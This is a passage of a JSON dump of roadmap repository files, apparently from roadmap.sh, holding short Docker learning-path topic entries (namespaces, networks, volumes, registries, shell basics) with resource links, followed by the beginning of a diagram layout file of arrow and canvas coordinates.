    "content": "# Kubernetes\n\nKubernetes is an open-source container orchestration platform designed to automate the deployment, scaling, and management of containerized applications. It provides a robust framework for handling complex container workloads by organizing containers into logical units called pods, managing service discovery, load balancing, and scaling through declarative configurations. Kubernetes enables teams to deploy containers across clusters of machines, ensuring high availability and fault tolerance through self-healing capabilities like automatic restarts, replacements, and rollback mechanisms. With its extensive ecosystem and flexibility, Kubernetes has become the de facto standard for running large-scale, distributed applications, simplifying operations and improving the reliability of containerized workloads.\n\nVisit the following resources to learn more:\n\n- [@official@Kubernetes](https://kubernetes.io/)\n- [@official@Docker Swarm](https://docs.docker.com/engine/swarm/)"
  },
  {
    "path": "src/data/roadmaps/docker/content/namespaces@BvV8VCX39wRB-g8WvGF1g.md",
    "content": "# What are Namespaces?\n\nDocker namespaces are a Linux kernel feature that creates isolated environments for containers by providing separate instances of global system resources. Docker uses PID, NET, MNT, UTS, IPC, and USER namespaces to ensure each container believes it has its own unique resources, enabling lightweight, portable, and secure containerization.\n\nVisit the following resources to learn more:\n\n- [@official@Docker Namespaces](https://docs.docker.com/engine/security/userns-remap/)\n- [@article@Linux Namespaces](https://man7.org/linux/man-pages/man7/namespaces.7.html)"
  },
  {
    "path": "src/data/roadmaps/docker/content/networks@w5QjzvOaciK2rotOkjvjQ.md",
    "content": "# Docker Networks\n\nDocker networks enable containers to communicate with each other and with external systems, providing the necessary connectivity for microservices architectures. By default, Docker offers several network types such as bridge, host, and overlay, each suited for different use cases like isolated environments, high-performance scenarios, or multi-host communication. Using the Docker CLI, you can create, inspect, and manage networks with commands like `docker network create` to define custom networks, `docker network ls` to list existing networks, and `docker network connect` to attach a container to a network. This flexibility allows developers to control how containers interact, ensuring secure and efficient communication across distributed applications.\n\nVisit the following resources to learn more:\n\n- [@official@Docker Networks](https://docs.docker.com/network/)\n- [@official@Docker Network Commands](https://docs.docker.com/engine/reference/commandline/network/)\n- [@video@Docker Networking](https://www.youtube.com/watch?v=bKFMS5C4CG0)"
  },
  {
    "path": "src/data/roadmaps/docker/content/nomad@r1eJZDZYouUjnGwAtRbyU.md",
    "content": "# Nomad: Deploying Containers\n\nNomad is a cluster manager and scheduler that enables you to deploy, manage and scale your containerized applications. It automatically handles node failures, resource allocation, and container orchestration. Nomad supports running Docker containers as well as other container runtime(s) and non-containerized applications.\n\nVisit the following resources to learn more:\n\n- [@official@Nomad Documentation](https://www.nomadproject.io/docs)"
  },
  {
    "path": "src/data/roadmaps/docker/content/others-ghcr-ecr-gcr-acr-etc@fh5aERX7c-lY9FPsmftoF.md",
    "content": "# DockerHub Alternatives\n\nContainer images can be stored in many different registries, not just Dockerhub. Most major cloud platforms now provide container registries such as \"Artifact Registry\" on Google Cloud Platform, Elastic Container Registry on AWS and Azure Container Registry on Microsoft Azure. GitHub also provides it's own registry which is useful when container builds are included in your GitHub Actions workflow.\n\nVisit the following resources to learn more:\n\n- [@official@DockerHub](https://hub.docker.com/)\n- [@official@Artifact Registry](https://cloud.google.com/artifact-registry)\n- [@official@Amazon ECR](https://aws.amazon.com/ecr/)\n- [@official@Azure Container Registry](https://azure.microsoft.com/en-in/products/container-registry)\n- [@official@GitHub Container Registry](https://docs.github.com/en/packages/guides/about-github-container-registry)"
  },
  {
    "path": "src/data/roadmaps/docker/content/paas-options@PP_RRBo_pThe2mgf6xzMP.md",
    "content": "# PaaS Options for Deploying Containers\n\nPlatform-as-a-Service (PaaS) options for deploying containers provide a simplified and managed environment where developers can build, deploy, and scale containerized applications without worrying about the underlying infrastructure. Popular PaaS offerings include Google Cloud Run, Azure App Service, AWS Elastic Beanstalk, and Heroku, which abstract away container orchestration complexities while offering automated scaling, easy integration with CI/CD pipelines, and monitoring capabilities. These platforms support rapid development and deployment by allowing teams to focus on application logic rather than server management, providing a seamless way to run containers in production with minimal operational overhead.\n\nVisit the following resources to learn more:\n\n- [@official@PaaS Options for Deploying Containers](https://www.docker.com/resources/what-container/#paas-options)\n- [@official@Azure Container Instances](https://azure.microsoft.com/en-us/services/container-instances/)\n- [@official@Google Cloud Run](https://cloud.google.com/run)\n- [@official@IBM Cloud Code Engine](https://www.ibm.com/cloud/code-engine)\n- [@official@Amazon Elastic Container Service](https://aws.amazon.com/ecs/)"
  },
  {
    "path": "src/data/roadmaps/docker/content/package-managers@mw-weCutd2ECKlx2DE_ZJ.md",
    "content": "# Package Managers\n\nPackage managers are tools used to install, update, and manage software packages on Linux systems. Since most Docker images are based on Linux distributions, understanding package managers like `apt` (Debian/Ubuntu), `yum`/`dnf` (RHEL/CentOS/Fedora), and `apk` (Alpine Linux) is essential for building Docker images. In a Dockerfile, you typically use `RUN` instructions with package managers to install the dependencies your application needs, and it is a best practice to clean up package caches afterward to keep image sizes small.\n\nVisit the following resources to learn more:\n\n- [@article@APT Package Manager Guide](https://ubuntu.com/server/docs/package-management)\n- [@article@Alpine Linux Package Management](https://wiki.alpinelinux.org/wiki/Alpine_Package_Keeper)\n- [@video@Linux Package Managers Explained](https://www.youtube.com/watch?v=-iSMFoPPbKU)\n- [@feed@Explore top posts about Docker](https://app.daily.dev/tags/docker?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/docker/content/programming-languages@XxT9UUjbKW1ARyERSLH_W.md",
    "content": "# Programming Languages\n\nHaving proficiency in at least one programming language is essential before working with Docker, as containers are ultimately used to package and run applications. Whether you work with Python, JavaScript, Go, Java, or any other language, understanding how your application is built, its dependencies, and its runtime requirements directly informs how you write Dockerfiles and structure container images. Knowledge of your language's package management, build tools, and runtime environment helps you create efficient, minimal Docker images tailored to your application's needs.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Python Roadmap](https://roadmap.sh/python)\n- [@roadmap@JavaScript Roadmap](https://roadmap.sh/javascript)\n- [@roadmap@Java Roadmap](https://roadmap.sh/java)\n- [@roadmap@Go Roadmap](https://roadmap.sh/golang)\n- [@feed@Explore top posts about Docker](https://app.daily.dev/tags/docker?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/docker/content/running-containers@z2eeBXPzo-diQ67Fcfyhc.md",
    "content": "# Running Containers\n\nThe `docker run` command creates and starts containers from images in one step. It combines `docker create` and `docker start` operations, allowing you to execute applications in isolated environments with various configuration options like port mapping, volumes, and environment variables.\n\nVisit the following resources to learn more:\n\n- [@official@Docker Run](https://docs.docker.com/engine/reference/commandline/run/)\n- [@official@Docker Containers](https://docs.docker.com/engine/reference/commandline/container/)\n- [@official@Docker Exec](https://docs.docker.com/engine/reference/commandline/exec/)\n- [@official@Docker Stop](https://docs.docker.com/engine/reference/commandline/stop/)"
  },
  {
    "path": "src/data/roadmaps/docker/content/runtime-configuration-options@mAaEz-bwB5DLaBbOSYGMn.md",
    "content": "# Runtime Configuration Options\n\nDocker runtime configuration options give you powerful control over your containers' environments. By tweaking resource limits, network settings, security profiles, and logging drivers, you can optimize performance and enhance security. You'll also find options for setting environment variables, mounting volumes, and overriding default behaviors – all crucial for tailoring containers to your specific needs. For more advanced users, there are tools to adjust kernel capabilities and set restart policies. Whether you're using command-line flags or Docker Compose files, these options help ensure your containers run smoothly and consistently, no matter where they're deployed.\n\nVisit the following resources to learn more:\n\n- [@official@Docker Documentation](https://docs.docker.com/engine/reference/run/)\n- [@article@Docker Runtime Arguments](https://galea.medium.com/docker-runtime-arguments-604593479f45)"
  },
  {
    "path": "src/data/roadmaps/docker/content/runtime-security@vYug8kcwrMoWf8ft4UDNI.md",
    "content": "# Runtime Security\n\nRuntime security in Docker focuses on ensuring the safety and integrity of containers during their execution, safeguarding against vulnerabilities and malicious activities that could arise while the containerized application is running. This involves monitoring container behavior for anomalies, implementing access controls to limit permissions, and employing tools to detect and respond to suspicious activity in real time. Effective runtime security also ensures that only verified images are deployed and continuously audits the system to maintain compliance, thereby providing a robust defense layer to prevent exploits and maintain the desired security posture throughout the container lifecycle.\n\nVisit the following resources to learn more:\n\n- [@official@Docker Security](https://docs.docker.com/engine/security/)\n- [@official@Docker Security Best Practices](https://docs.docker.com/build/building/best-practices/)"
  },
  {
    "path": "src/data/roadmaps/docker/content/shell-commands@W5kX5jn49hghRgkEw6_S3.md",
    "content": "# Shell Commands\n\nShell commands are the fundamental way to interact with Linux-based systems that Docker containers typically run on. Understanding commands like `ls`, `cd`, `cp`, `mv`, `rm`, `chmod`, `chown`, `ps`, `top`, `grep`, `find`, and `cat` is essential for working inside containers, writing Dockerfiles, and debugging running containers. When you use `docker exec` to access a running container or write `RUN` instructions in a Dockerfile, you rely on these shell commands to install dependencies, configure environments, and manage files within the container's filesystem.\n\nVisit the following resources to learn more:\n\n- [@article@Linux Command Line Basics](https://www.freecodecamp.org/news/the-linux-commands-handbook/)\n- [@article@Shell Commands Every Developer Should Know](https://www.codecademy.com/article/command-line-commands)\n- [@video@Linux Commands for Beginners](https://www.youtube.com/watch?v=ZtqBQ68cfJc)\n- [@feed@Explore top posts about Docker](https://app.daily.dev/tags/docker?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/docker/content/shell-scripting@InlMtuaUJ9EXO-OD9x1jj.md",
    "content": "# Shell Scripting\n\nShell scripting involves writing scripts using shell languages like Bash to automate tasks and workflows. In the context of Docker, shell scripts are commonly used in Dockerfiles as part of `RUN` instructions to set up the container environment, install packages, or configure applications. They are also used as entrypoint or startup scripts (via `ENTRYPOINT` or `CMD`) to initialize services when a container starts. Understanding variables, conditionals, loops, and functions in shell scripting helps you write more efficient Dockerfiles and manage complex container setups.\n\nVisit the following resources to learn more:\n\n- [@article@Shell Scripting Tutorial](https://www.shellscript.sh/)\n- [@article@Bash Scripting Tutorial for Beginners](https://linuxconfig.org/bash-scripting-tutorial-for-beginners)\n- [@video@Bash Scripting Full Course](https://www.youtube.com/watch?v=tK9Oc6AEnR4)\n- [@feed@Explore top posts about Docker](https://app.daily.dev/tags/docker?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/docker/content/tests@Kmyo1_Mor9WHLkRhNShRZ.md",
    "content": "# Tests\n\nWe want to run tests in an environment as similar as possible to production, so it only makes sense to do so inside of our containers! This can include unit tests, integration tests, and end-to-end tests, all run within Docker containers to simulate real-world scenarios while avoiding interference from external dependencies. Using Docker CLI and tools like Docker Compose, you can create isolated testing environments, run tests in parallel, and spin up and tear down the necessary infrastructure automatically.\n\nVisit the following resources to learn more:\n\n- [@article@Running Tests - Docker](https://courses.devopsdirective.com/docker-beginner-to-pro/lessons/11-development-workflow/03-tests)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/docker/content/underlying-technologies@jrH1qE6EnFXL4fTyYU8gR.md",
    "content": "# Underlying Technologies\n\nDocker containers use Linux kernel technologies for isolation and resource management: namespaces for process isolation, cgroups for resource limits, and union filesystems for efficient layered storage. These enable lightweight, portable, and secure containers that share the host kernel.\n\nVisit the following resources to learn more:\n\n- [@official@Underlying Technologies](https://www.docker.com/resources/what-container/#underlying-technologies)\n- [@article@Underlying Technologies - Medium](https://medium.com/@furkan.turkal/how-does-docker-actually-work-the-hard-way-a-technical-deep-diving-c5b8ea2f0422)\n- [@video@Containers - Namespaces, Cgroups and Overlay Filesystem](https://www.youtube.com/watch?v=wJdDWc6zO4U)"
  },
  {
    "path": "src/data/roadmaps/docker/content/union-filesystems@vEUfw_vobshuZI0-q8RZo.md",
    "content": "# Union Filesystems\n\nUnion filesystems (UnionFS) create virtual, layered file structures by overlaying multiple directories without modifying originals. Docker uses this to manage storage efficiently by minimizing duplication and reducing image sizes through layered filesystem approach that keeps directory contents separate while mounted together.\n\nVisit the following resources to learn more:\n\n- [@article@AUFS (Advanced Multi-Layered Unification Filesystem)](http://aufs.sourceforge.net/)\n- [@article@OverlayFS (Overlay Filesystem)](https://www.kernel.org/doc/html/latest/filesystems/overlayfs.html)\n- [@article@Btrfs (B-Tree Filesystem)](https://btrfs.readthedocs.io/en/stable/)\n- [@article@ZFS (Z File System)](https://zfsonlinux.org/)"
  },
  {
    "path": "src/data/roadmaps/docker/content/users--groups-permissions@uKjB2qntFTpPuYUT9sdxd.md",
    "content": "# Users / Groups Permissions\n\nLinux users, groups, and file permissions control access to files and resources on the system. In Docker, understanding these concepts is important because containers run processes as specific users, and the permissions model determines what files a containerized application can read, write, or execute. By default, containers run as root, which poses security risks, so it is a best practice to create non-root users in your Dockerfile using `RUN useradd` and switch to them with the `USER` instruction. Commands like `chmod`, `chown`, and `chgrp` help you set the correct permissions on files and directories within your container images.\n\nVisit the following resources to learn more:\n\n- [@article@Linux File Permissions Explained](https://www.redhat.com/en/blog/linux-file-permissions-explained)\n- [@article@Users and Groups in Linux](https://wiki.archlinux.org/title/Users_and_groups)\n- [@official@Dockerfile USER Instruction](https://docs.docker.com/reference/dockerfile/#user)\n- [@feed@Explore top posts about Docker](https://app.daily.dev/tags/docker?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/docker/content/using-3rd-party-container-images@LShK3-1EGGuXnEvdScFR7.md",
    "content": "# Using Third Party Images\n\nThird-party images are pre-built Docker container images that are available on Docker Hub or other container registries. These images are created and maintained by individuals or organizations and can be used as a starting point for your containerized applications.\n\nVisit the following resources to learn more:\n\n- [@official@Docker Hub Registry](https://hub.docker.com/)"
  },
  {
    "path": "src/data/roadmaps/docker/content/volume-mounts@woemCQmWTR-hIoWAci3d5.md",
    "content": "# Volume Mounts\n\nVolume mounts are a way to map a folder or file on the host system to a folder or file inside a container. This allows the data to persist outside the container even when the container is removed. Additionally, multiple containers can share the same volume, making data sharing between containers easy.\n\nVisit the following resources to learn more:\n\n- [@official@Docker Volumes](https://docs.docker.com/storage/volumes/)\n- [@official@Docker Volume Flags](https://docs.docker.com/storage/bind-mounts/#choose-the--v-or---mount-flag)\n- [@video@Docker Volumes explained in 6 minutes](https://www.youtube.com/watch?v=p2PH_YPCsis)"
  },
  {
    "path": "src/data/roadmaps/docker/content/volumes@eHtVLB6v3h7hatJb-9cZK.md",
    "content": "# Docker Volumes\n\nDocker volumes are persistent storage solutions used to manage and store data outside the container's filesystem, ensuring data remains intact even if the container is deleted or recreated. They are ideal for storing application data, logs, and configuration files that need to persist across container restarts and updates. With the Docker CLI, you can create and manage volumes using commands like `docker volume create` to define a new volume, `docker volume ls` to list all volumes, and `docker run -v` to mount a volume to a specific container. This approach helps maintain data integrity, simplifies backup processes, and supports data sharing between containers, making volumes a core part of stateful containerized applications.\n\nVisit the following resources to learn more:\n\n- [@official@Docker Volumes](https://docs.docker.com/storage/volumes/)\n- [@official@Docker Volume Commands](https://docs.docker.com/engine/reference/commandline/volume/)"
  },
  {
    "path": "src/data/roadmaps/docker/content/what-are-containers@74JxgfJ_1qmVNZ_QRp9Ne.md",
    "content": "# What are Containers?\n\nContainers are lightweight, portable, and isolated software environments that package applications with their dependencies for consistent execution across different platforms. They streamline development, deployment, and management while ensuring applications run reliably regardless of underlying infrastructure.\n\nVisit the following resources to learn more:\n\n- [@course@Introduction to Containers - AWS Skill Builder](https://explore.skillbuilder.aws/learn/course/106/introduction-to-containers)\n- [@official@What is a Container?](https://www.docker.com/resources/what-container/)\n- [@feed@Explore top posts about Containers](https://app.daily.dev/tags/containers?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/docker/content/why-do-we-need-containers@i4ijY3T5gLgNz0XqRipXe.md",
    "content": "# Need for Containers\n\nContainers solve environment inconsistency issues when working in teams by standardizing runtime environments. Before containers, significant time was lost configuring local environments to run projects shared by teammates, leading to \"works on my machine\" problems.\n\nVisit the following resources to learn more:\n\n- [@article@Need for Containers](https://www.redhat.com/en/topics/containers)"
  },
  {
    "path": "src/data/roadmaps/docker/docker.json",
    "content": "{\n  \"mockup\": {\n    \"controls\": {\n      \"control\": [\n        {\n          \"ID\": \"9408\",\n          \"typeID\": \"Canvas\",\n          \"zOrder\": \"0\",\n          \"w\": \"327\",\n          \"h\": \"393\",\n          \"measuredW\": \"100\",\n          \"measuredH\": \"70\",\n          \"x\": \"645\",\n          \"y\": \"902\"\n        },\n        {\n          \"ID\": \"9409\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"1\",\n          \"w\": \"340\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1277\",\n          \"y\": \"2210\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"p0\": {\n              \"x\": 0.16382818454974313,\n              \"y\": 0.362673214497363\n            },\n            \"p1\": {\n              \"x\": 0.4999578668592738,\n              \"y\": 0.0003556693697539093\n            },\n            \"p2\": {\n              \"x\": 340.33333333333326,\n              \"y\": 0.3626732144975904\n            }\n          }\n        },\n        {\n          \"ID\": \"9410\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"2\",\n          \"w\": \"1\",\n          \"h\": \"85\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1223\",\n          \"y\": \"2210\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"stroke\": \"dotted\",\n            \"p0\": {\n              \"x\": -0.18181818181824383,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.49995786685927385,\n              \"y\": 0.0003556693697539093\n            },\n            \"p2\": {\n              \"x\": -0.18181818181824383,\n              \"y\": 84.66666666666652\n            }\n          }\n        },\n        {\n          \"ID\": \"9411\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"3\",\n          \"w\": \"1\",\n          \"h\": \"105\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"871\",\n          \"y\": \"2214\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"stroke\": \"dotted\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.5016483571549873,\n              \"y\": -0.0004594339945699278\n            },\n            \"p2\": {\n              \"x\": 0,\n              \"y\": 105\n            }\n          }\n        },\n        {\n          \"ID\": \"9412\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"4\",\n          \"w\": \"519\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"668\",\n          \"y\": \"2210\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"p0\": {\n              \"x\": 0.16382818454974313,\n              \"y\": 0.362673214497363\n            },\n            \"p1\": {\n              \"x\": 0.4999578668592739,\n              \"y\": 0.0003556693697539094\n            },\n            \"p2\": {\n              \"x\": 518.6666666666667,\n              \"y\": 0.3626732144975904\n            }\n          }\n        },\n        {\n          \"ID\": \"9413\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"5\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"668\",\n          \"y\": \"2034\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"p0\": {\n              \"x\": 0.16382818454974313,\n              \"y\": 0.362673214497363\n            },\n            \"p1\": {\n              \"x\": 0.4999578668592739,\n              \"y\": 0.0003556693697539094\n            },\n            \"p2\": {\n              \"x\": 149.69373677187127,\n              \"y\": 0.362673214497363\n            }\n          }\n        },\n        {\n          \"ID\": \"9414\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"6\",\n          \"w\": \"1\",\n          \"h\": \"151\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"947\",\n          \"y\": \"1970\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"stroke\": \"dotted\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.5016483571549873,\n              \"y\": -0.00045943399456992786\n            },\n            \"p2\": {\n              \"x\": 0,\n              \"y\": 151\n            }\n          }\n        },\n        {\n          \"ID\": \"9415\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"7\",\n          \"w\": \"1\",\n          \"h\": \"151\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"807\",\n          \"y\": \"1970\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"stroke\": \"dotted\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.5016483571549873,\n              \"y\": -0.00045943399456992786\n            },\n            \"p2\": {\n              \"x\": 0,\n              \"y\": 151\n            }\n          }\n        },\n        {\n          \"ID\": \"9416\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"8\",\n          \"w\": \"127\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"994\",\n          \"y\": \"2034\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"p0\": {\n              \"x\": -0.4746082422041127,\n              \"y\": 0.362673214497363\n            },\n            \"p1\": {\n              \"x\": 0.49995786685927396,\n              \"y\": 0.00035566936975390927\n            },\n            \"p2\": {\n              \"x\": 126.69373677187127,\n              \"y\": 0.362673214497363\n            }\n          }\n        },\n        {\n          \"ID\": \"9417\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"9\",\n          \"w\": \"1\",\n          \"h\": \"114\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1243\",\n          \"y\": \"1922\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"p0\": {\n              \"x\": -0.18181818181824383,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.4999578668592739,\n              \"y\": 0.0003556693697539093\n            },\n            \"p2\": {\n              \"x\": -0.18181818181824383,\n              \"y\": 113.97948286209976\n            },\n            \"stroke\": \"dotted\"\n          }\n        },\n        {\n          \"ID\": \"9418\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"10\",\n          \"w\": \"184\",\n          \"h\": \"147\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1371\",\n          \"y\": \"1889\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"p0\": {\n              \"x\": 183.5,\n              \"y\": -0.03666724399795385\n            },\n            \"p1\": {\n              \"x\": 0.4528877147224164,\n              \"y\": 0.2228100131869359\n            },\n            \"p2\": {\n              \"x\": 0,\n              \"y\": 146.5\n            }\n          }\n        },\n        {\n          \"ID\": \"9419\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"11\",\n          \"w\": \"1\",\n          \"h\": \"80\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1711\",\n          \"y\": \"1633\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"stroke\": \"dotted\",\n            \"p0\": {\n              \"x\": -0.18181818181824383,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.4999578668592739,\n              \"y\": 0.00035566936975390927\n            },\n            \"p2\": {\n              \"x\": -0.18181818181824383,\n              \"y\": 79.5\n            }\n          }\n        },\n        {\n          \"ID\": \"9420\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"12\",\n          \"w\": \"1\",\n          \"h\": \"114\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1711\",\n          \"y\": \"1766\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"p0\": {\n              \"x\": -0.18181818181824383,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.4999578668592739,\n              \"y\": 0.0003556693697539093\n            },\n            \"p2\": {\n              \"x\": -0.18181818181824383,\n              \"y\": 113.97948286209976\n            },\n            \"stroke\": \"dotted\"\n          }\n        },\n        {\n          \"ID\": \"9421\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"13\",\n          \"w\": \"202\",\n          \"h\": \"169\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1355\",\n          \"y\": \"1710\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"p0\": {\n              \"x\": 0.4407532602174342,\n              \"y\": -0.33922541684933094\n            },\n            \"p1\": {\n              \"x\": 0.5377224186047156,\n              \"y\": 0.2397621873145367\n            },\n            \"p2\": {\n              \"x\": 202.5,\n              \"y\": 168.5\n            }\n          }\n        },\n        {\n          \"ID\": \"9422\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"14\",\n          \"w\": \"1\",\n          \"h\": \"73\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1221\",\n          \"y\": \"1633\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"stroke\": \"dotted\",\n            \"p0\": {\n              \"x\": -0.18181818181824383,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.4999578668592739,\n              \"y\": 0.00035566936975390943\n            },\n            \"p2\": {\n              \"x\": -0.18181818181824383,\n              \"y\": 73.08703041995386\n            }\n          }\n        },\n        {\n          \"ID\": \"9423\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"15\",\n          \"w\": \"333\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"913\",\n          \"y\": \"1705\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"p0\": {\n              \"x\": 0.04142925695464328,\n              \"y\": 0.362673214497363\n            },\n            \"p1\": {\n              \"x\": 0.499957866859274,\n              \"y\": 0.0003556693697539092\n            },\n            \"p2\": {\n              \"x\": 332.81818181818176,\n              \"y\": 0.362673214497363\n            }\n          }\n        },\n        {\n          \"ID\": \"9424\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"16\",\n          \"w\": \"1\",\n          \"h\": \"73\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"776\",\n          \"y\": \"1706\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"stroke\": \"dotted\",\n            \"p0\": {\n              \"x\": -0.18181818181824383,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.4999578668592739,\n              \"y\": 0.00035566936975390943\n            },\n            \"p2\": {\n              \"x\": -0.18181818181824383,\n              \"y\": 73.08703041995386\n            }\n          }\n        },\n        {\n          \"ID\": \"9425\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"17\",\n          \"w\": \"1\",\n          \"h\": \"238\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"952\",\n          \"y\": \"1468\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"p0\": {\n              \"x\": -0.18181818181824383,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.49995786685927385,\n              \"y\": 0.00035566936975390943\n            },\n            \"p2\": {\n              \"x\": -0.18181818181824383,\n              \"y\": 238.04006420899805\n            }\n          }\n        },\n        {\n          \"ID\": \"9426\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"18\",\n          \"w\": \"1\",\n          \"h\": \"94\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"778\",\n          \"y\": \"1461\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"p0\": {\n              \"x\": -0.18181818181824383,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.49995786685927396,\n              \"y\": 0.0003556693697539094\n            },\n            \"p2\": {\n              \"x\": -0.18181818181824383,\n              \"y\": 94.03541136954323\n            },\n            \"stroke\": \"dotted\"\n          }\n        },\n        {\n          \"ID\": \"9427\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"19\",\n          \"w\": \"1\",\n          \"h\": \"114\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1223\",\n          \"y\": \"1341\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"p0\": {\n              \"x\": -0.18181818181824383,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.4999578668592739,\n              \"y\": 0.0003556693697539093\n            },\n            \"p2\": {\n              \"x\": 